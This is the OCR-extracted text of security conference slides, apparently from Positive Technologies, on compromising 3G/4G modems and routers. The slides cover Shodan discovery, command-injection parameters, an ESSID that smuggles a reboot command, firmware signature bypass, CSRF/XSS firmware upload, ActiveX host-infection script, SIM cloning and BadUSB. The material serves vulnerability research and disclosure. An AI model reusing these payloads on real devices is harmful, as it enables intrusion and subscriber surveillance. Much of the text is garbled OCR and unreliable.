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When

* 2014-2015
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When/Who/Where

 2014-2015
* «root via SMS» SCADA Strange Love

 Russia and the whole world
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How to build Big Brother

When/Who/Where/And why???

 2014-2015
* «root via SMS» SCADA Strange Love

* Russia and the whole world
e Cause nobody cares(((
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Boring numbers
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Boring numbers

* >10 (8 diff) 3G/4G modems/routers
 75% vulns to RCE/fw modification
* 60% RCE are Odays

ALLYOUR DATA
ARE BELONG TOUS
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Boring numbers

e ~60 000 devices/1M/Telco
* 5000 devices/1W/SecurityLab
 100% vulns to RCE/fw modification

ALLYOUR DATA
ARE BELONG TOUS
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How to build Big Brother

How?
ldentification
Code injection
Data interception
SIM cloning / GSM Attacks
Host Infection
A
Return to 1.

N ke WhE
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ldentification
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‘ How to build Big Brother
ldentification
e WHOIS? :
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ldentification

<img src="
style="height:0;width:0;"
onload="set('1')">

<img src="
style="height:0;width:0;"
onload="set('2')">

<img src="
style="height:0;width:0;"

........... onload="set('3')">.. |

- R \



” SHODAN mini_httpd/1.19 19dec2003 /html/index_html

% Exploits # Maps & Download Results |l Create Report

119.159.217.27

PTCL HTTP/1.1 307 Temporary Redirect

Pakistan, Lahore Date: Thu, 01 Jan 1970 00:00:00 GMT
v Details Server: mini_httpd/1.19 19dec2003
Connection: close
X-Download-Options: noopen
X-Frame-Options: deny
Pakistan 19,897 X-XSS-Protection: 1; mode=block
Indonesia 159 Strict-Transport-Security: max-age=31536000; includeSubdemains
Bulgaria 49 Location: http://119.159....
Thailand 41

China 29

PTCL & SSL Certificate HTTP/1.1 307 Temporary Redirect
ssued By Date: Thu, @1 Jan 1970 00:00:00 GMT
HTTPS 11,853 Pakistan, Islamabad Issued By ) _ ‘_ N R
HTTP 8.119 Details |- Common Name: mobile.wifi Server: 'IIlHl_ht[pU/’].]’;“ 19dec2003

HTTP (8080) 459 |- Organization:  Huawei Connection: close

T X-Download-Options: noopen

Synology 17 ssued To: | E nl ?1 .P ior open
5555 2 - Common Name: mobile.wifi X-Frame-Options: deny

X-XSS-Protection: 1; mode=block

|- Organization:  Huawei

Strict-Transport-Security: max-age=31536000; includeSubdomains

Supported SSL Versions Location: https://182.190...

SSLv3, TLSv1, TLSv1.1, TLSv1.2

PTCL 19,772
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Code Injection
* Public exploits + old FW
* Blackbox

e FW Access + FW RE + IDA
 FW modification + Arbitrary upload
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Code Injection
* Public exploits + old FW

blog.asiantuntijakaveri.fi/20°
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Code Injection
* Blackbox
e ?Paction=ping| |shutdown —r O] |
e ?date=;ping blahblah.com;

~POSITIVE TECHNOLOGIES / \ \



 Blackbox
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Code Injection
* FW Access + FW RE + IDA
* Greetings:
e Kirill Nesterov,
* Dmitry Sklyarov

m3g_id="68"
#cmd=sprintf ("gt socket client Wy rgghr g
#cwd=sprintf ("gt _socket client %s %s 3% CARLERRLEF- LR ¥ \"

", lo, dhyg, msyg_id, phone[i], message, dat.ei, resend, sim)
lo, dby, msg_id, address, message, date, resend, sSim)
crd=sprintf ("qt socket client %s %5 %: 53O\ TES\ T Oy rEsh\

lo, dbg, msg_id, address, "/dev/shn/qt_send message", d
printf ("crd=%s", crd)

$Y $H:%M:5sSTIIBMIARID, trp/ res
v . conf ISRITIAIIRIiAnameserver
(ULINULINULJap®etet ULINULINULIN UL IRSaBRT TL )ik Bsls g3 1

0

check processiMRBINIRRI0IRKi]llall

~POSITIVE TECHNOLOGIES
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Code Injection
* FW modification + Arbitrary upload
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How to build Big Brother

Code Injection
* FW modification + Arbitrary upload
* Integrity attacks
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How to build Big Brother

Code Injection
* FW modification + Arbitrary upload
* Integrity attacks
 Remote upload (CSRF/XSS)
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How to build Big Brother

Code Injection
* FW modification + Arbitrary upload
* Integrity attacks
 Remote upload (CSRF/XSS)
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Code Injection
* FW modification + Arbitrary upload
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FW Integrity Control
* FW encrypted via RC4
* RSA Digital Signature +SHA1
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FW Integrity Control

AMUTPUW CKNIAPOB

You are not sniart—énough to do crypto! ‘

EHOrPADHA

i
-t = -

5
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FW Integrity Control
* FW encrypted via RC4
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How to build Big Brother

FW Integrity Control
* FW encrypted via RC4
* Constant keystream
* Partl XOR Part2
e FW1 XOR FW?2
* Lot of plaintext (CDROM)
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~W Integrity Control
* FW encrypted via RC4
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FW Integrity Control
* RSA Digital Signature +SHA1
* AR: I<arch>:
° :W
* pkginfo: <7742526>
* Sign=RSA(SHA1(FW]0..7742526]))

QApanMt —=lT ! <« ITYHRAEIARF bbIO
~ (3 17\ Huor
pABBoE»b tMUTSRFPE LN | . (N3N e €O0I8SH C ENEBhA_3DS=Heo B

Uob¥IN"33 (%87 si <DAE> HUV Z® X * AT WV SL, 4+ cO [C) (28« <1h
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FW Integrity Control

* RSA Digital Signature +SHA1
WHAT l}ﬂlllll

eeeeeeee tor.net

J ~~s oA
ssssssssssssssssssss 2 TN
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FW Integrity Control
* RSA Digital Signature +SHA1
* ar--add data.tar.gz
* ar-v
e data.tar.gz
* sign
e pkginfo
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FW Integrity Control
* RSA Digital Signature +SHA1
* ar--add data.tar.gz
* ar-v
e data.tar.gz
* sign
e pkginfo
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FW upload/CSRF

method="POST" id=fwUploadForm name=fwUplocadForm target=fwUloadResult
enctype="multipart/form-data” onsubmit="onSubmitFwUpload()"
style="border:none;display:block;position:absclute;opacity:0;filter:
>
<input type=file id=updateFwFile -
style="width:100px;height:32px;font-size: X i R \
name=updateFwFile onchange="onFwFile
accept="application/x-binary"”
class=clickable
>
</form>

<iframe id=fwUloadResult name=fwUloadResult onload="

<form action="f"

alp

http://blog.kotowicz.net/2011/04/
how-to-upload-arbitrary-file-contents.html

\

POSITIVE TECHNOLOGIES / \ \
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FW upload/ XSS
« HUAWEI PSIRT 436642 (2015-05-29)

http://www1.huawei.com/en/security/psirt/security-
bulletins/security-notices/archive/hw-436642.htm

EEEEEEEEEEEEEEEEEEEE ] NEI

/ AN
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Data interception
 CellID
* WiFi
* SMS
e HTTP
* SSL
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Data interception
 CellID
. + XSS

Savyolovskayag Rizhskiy vokza

TaReN0BCKas o I.
CaaenoRcken PAXCK Wi B! n ¢

Dinamo

)i ’ / u Moskva Belorusskaya 4P Mups °
~POSITIVE TECHNOLOGIES -3 . . Mockaa v.m;-.;:»-,c.;.{n' Leningradskiy vokzal
> J 1 v [ ]

afACKWA BO




* WiFi
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Data interception

U:N\>nc -1 —-p 4000
iwlist wlanl scan

wlan@ Scan completed :
Cell 01 — Address: 14:D6:4D:37:B8:86

F74

22F00

Channel:2

Frequency:2.417 GHz {(Channel 2>

Quality=54/70 Signal level=-56 dBm

ARI A JPD.&UII l\\’_y-ull

ESSID:="(> { =5 2>; /shin/reboot"

DreeRwrTeri ey =iyrey=5ri=iErs; 11 Mb/s; 6 Mb/s
? Mh/s; 12 Mb/s; 18 Mh/s

Bit Rates:24 Mb/s; 36 Mb/s; 48 Mh/s; 54 Mh/s

Mode :Master

Extra:tsf=0000003d0cah2d80

Extra: Last bheacon: 248ms ago

IE: Unknown: 00172829207B203A3B207D3B202F7362696E2F7265626F6

Unknown: 010882848B968C129824
Unknown: 030102

IEEE 802.11i/WPA2 VUersion 1
Group Cipher : TKIP

Pairwise Ciphers (2> : CCMP TKIP
Authentication Suites (1> : PSK
IE: WPA VUersion 1

Group Cipher : TKIP

Pairwise Ciphers (2> : CCMP TKIP
Authentication Suites (1> : PSK
Unknown: 2A0100

Unknown: 3204B048606C

Unknown: DD180050F2020101820003A4000027A4000042435E00623

| Unknown: DDO?00037F01010000FF?7F
IE: Unknown: DDOADOO3?7F04010000004000

]
eslleales]

— i —
1 rmm

Cell N2 — Addr»ece BC=AF:=CL=C4-DC=192

www.zeronights.org
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Data interception

o SMS New Message Cancel
. e 2s(V)

tSMS(1)

<

174 js*/ 7249513(1)
>Hello!
A P

Meanwhile at the
~POSITIVE TECHNOLOGIES / haCKer's phone =)

7249513(1)
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Data interception

e HTTP
* ARP-spoofing
* DNS-spoofing
ey ey ]

Property

Connection-specific DN...

Description
Physical Address
DHCP Enabled
IPv4 Address

IPv4 Subnet Mask
Lease Obtained
Lease Expires
IPv4 Default Gateway
|Pv4 DHCP Server
IPv4 DNS Server
IPv4 WINS Server

NetBIOS over Tepip En...

Linkdocal |IPv6 Address

Value

Remote NDIS based Intemet Sharing De»
00-05-3B-F0O-1A-40

Yes

192.168.0.10

255.255.255.0

Tuesday, November 24, 2015 3:26:30 P
Tuesday, November 24, 2015 3:31:30 P
192.168.0.1

192.168.0.1

192.168.0.1

Yes
fe80::5d60:93b5:b0d8:50d 7% 34
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e SSL
e Host RCE

~POSITIVE TECHNOLOGIES /

function writeFileInlIE (filePath, fileContent) {
try {

var fso = new ActiveXObject ("

var file = fso.OpenTextFile(filePath, 2, true);
file.WriteLine(fileContent);

);

a=new ActiveXObject ("
a.run(’
<Jscript>
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SIM Cloning
* Fake BTS + Binary SMS
 GEO(!)
e |MSI

BTS2
ARFCN =6

https://media.blackhat.com/us-13/us-13-Nohl-Rooting-
SIM-cards-Slides.pdf

POSITIVE TECHNOLOGIES / \
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SIM Cloning
* Use The Force Network type:

Network selection: Auto

HUAWEI ® Manually

IOperator name | \Type ‘ IState

rofile Management
Beeline 4G Current

25099 (available) Beeline 3G Allow
Beeline 3G (available) =il 25 Ll
Yota 4G Allow
Beeline 2G (available) MTS 4G Forbidden
MegaFon RUS 2G (available) MegaFon Forbidden
MTS Forbidden
MTS Enrhidden

Security

System

MTS-RUS 2G (forbidden)

~POSITIVE TECHNOLOGIES
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SIM Cloning

* Diag mode

| I 1 1 e
POST /CGI HTTP/Ll.1 HTTP/1.1 200 OK
192.1€e8.1.1 Date: Thu, 0l Jan 1970 00:00:00 GMT
Server: mini_ht.t.lzu:l;"l. 19 19decZ003
en Connection: close

nt: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT €.1; Winé4; Cache-Control: no-cache
®€64; Trident/5.0) Content-Type: Content-Type: text/html
Connection: close
Content-Length: Z18 Content-Length: 230

(?¥ml version="1.0" encoding="UTF-8"
~gion="1.0">
<header>
<functionrswvitchMode</function>
</header>

<recuest>
<gswitchType>l</switchType>

~POSITIVE TECHNOLOGIES / \ \
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SIM Cloning
e Send AT commands
e AT+CMGF=0

~

rE YT M

VAL AUW

SserialPort.PortName =
SserialPort.BaudRate =
SserialPort.WriteTimeout
SserialPort.
SserialPort.

- Y v
T VLl

SserialPort.0O
F Tell the mo

SserialPort.W

$ Now, write

SserialPort.lWric

-~ - ¥ g

: # Send a Ctrl
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GSM Attacks
 Huawei: Remote(!) osmocomm for beggars
 VxWorks on baseband hi6920
— Loaded by Linux
— Packed on flash
— dmesg => load vxworks ok, entey 0x50d10000
— Cshell
e OS communication
e Builtin debuger
— Nearly all names of objects/functions
— POSIX + documentation

~POSITIVE TECHNOLOGIES / \ \
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Host Infection
* BadUSB
* Fake diagnostic tools/CDROM
* HTML Injection + Oday
* Even real diagnostic tools =))
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Host Infection
* BadUSB
 Android gadget driver
(supported_functions patching)
 HID Gadget onboard! |
* Lots of boring stuff oo | Home Topows |

USB Keyboard
Games * Add to Wishlist

Editors' Choice D
\'. T IR

~POSITIVE TECHNOLOGIES / \ \
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HOSt Infechon C [} 192.168.0.1/
* Drive By Download &2 Huawel
o CDROM Home : Statistics : SMS

YyULG_ruUL.Tiumt U]Z' date

ettings_info_modemsim.html_EN.css
ettings_info_modemsim.html_RU.css Current version

ettings_info_modemsim. js
ettings_info_upgrade.html
ettings_info_upgrade.html_EN.css
ettings_info_upgrade.html_RU.css ‘ i
ettings_info_upgrade. js Web Ul version: 17.100.08.00.03
ettings_messages.html
ettings_messages.html_EN.c
ettings_messages.html_RU.c
ettings_messages.js
ettings_network.html
ettings_network.html_EN.css
ettings_network.html_RU.css
ettings_network.js
ettings_network_operator_block.html
ettings_restore.html
ettings_restore.html_EN.css
ettings_restore.html_RU.css

Software version: 2 6.07.04.1202

Check for updates

SS
SS

ettings_restore.js B  MobileBrServ (2).zip
ISU_UWAISUCUINNIEC L _DIUUCEKE_NISY iy
1s /usr/wuwuw/hostless/ | grep iso

wstless.iso

~POSITIVE TECHNOLOGIES / \ \
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Host Infection
e HTML Injection + Oday

~POSITIVE TECHNOLOGIES / \ \
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Host Infection
 Kudos to @cyberpunkych
* Lots of other stuff at yota.hlsec.ru
- But nobody cares((( THEEENEEENE

SR s i .

127.0.0.1

¥ 1k

4 Yota RCE

yota.hlsec.ru
L

Wait... lse
Wait for it _assetcache:*:235:235:Asset Cache Service:/var/empty:/usr/bin/false

PWNED!!1 _coremediaiod:*:236:236:Core Media IO Daemon:/var/empty:/usr/bin/false
= = _launchservicesd:*:239:239:_launchservicesd:/var/empty:/usr/bin/false

_iconservices:*:240:240:IconServices:/var/empty:/usr/bin/false
_distnote:*:241:241:DistNote:/var/empty:/usr/bin/false
_nsurlsessiond:*:242:242:NSURLSession Daemon:/var/db/nsurlsessiond:/usr/bin/fals
e
_nsurlstoraged:*:243:243:NSURLStorage Daemon:/var/empty:/usr/bin/false

PRS- cra Silony e ke s HEL g HOrolka Gl eTa ¥ _displaypolicyd:*:244:244:Display Policy Daemon:/var/empty:/usr/bin/false

_astris:*:245:245:Astris Services:/var/db/astris:/usr/bin/false

COCTOAHHE ITPOBEPKH

_krbfast:%:246:-2:Kerberos FAST Account:/var/empty:/usr/bin/false
- RS- _gamecontrollerd:*:247:247:Game Controller Daemon:/var/empty:/usr/bin/false
e o A 4 1 _mbsetupuser:*:248:248:Setup User:/var/setup:/bin/bash

_ondemand:*:249:249:0n Demand Resource Daemon:/var/db/ondemand:/usr/bin/false
y:/usr/bin/false

w'

cy

) PWND!!1

Tecr 3. MNony4yeHune MHGOpMaLMKM O cucTeMe

B: Sat Sep 19 15:5

Tecr 4. 3anyck KanbKynstopa

OTMmeHUTL
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77N
N, 4

e
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APT
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APT

* Subscribers attacks Subscribers
 LISTEN 0.0.0.0:80

* Firewalls

3G 10.0.170.1

3G 10.0.170.2

~POSITIVE TECHNOLOGIES /
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FW reverse, Remote HaitpeHo
Mogem BO3MOMXHOCTb floamena RCE via . SMS : CellID (geo) Ornpagka MOAEeMOB,
NPOLWMBKA Intercept intercept 6UHapHbIX cMC
moauduKaumm web wr/Hegento
Gemtekl - + + N/A 1411
Gemtek2 - + + N/A 1409
Quantal + + - N/A 946
Tpebyetca
+ AOCTYN K fixed t
Huaweil XOCTy
Tpebyetca Tpebyetca
+ AOCTyn K - + nepekntyeHue Shodan
Huawei2 XOoCTy pexuma
TpebyeTca
- AOCTYN K - -
Huawei3 XOCTYy
N N no,u.xmogeuue
Quanta2 K APDYroun CeTu 1250 Ha
+ + NOAKNKYEHHE ABOMX
ZTE K ApYroun cetu

~POSITIVE TECHNOLOGIES
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Fun numbers

* Remote Code Execution via WEB: 5 dev
* Arbitrary FW modification (rem/loc): 6 d
 CSRF:5 dev

e XSS: 4 dev

ALLYOUR DATA
ARE BELONG TOUS
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Kudos

e @cyberpunkych
* D. Sklyarov

* K. Nesterov

e Al. Osipov

e @SCADASL
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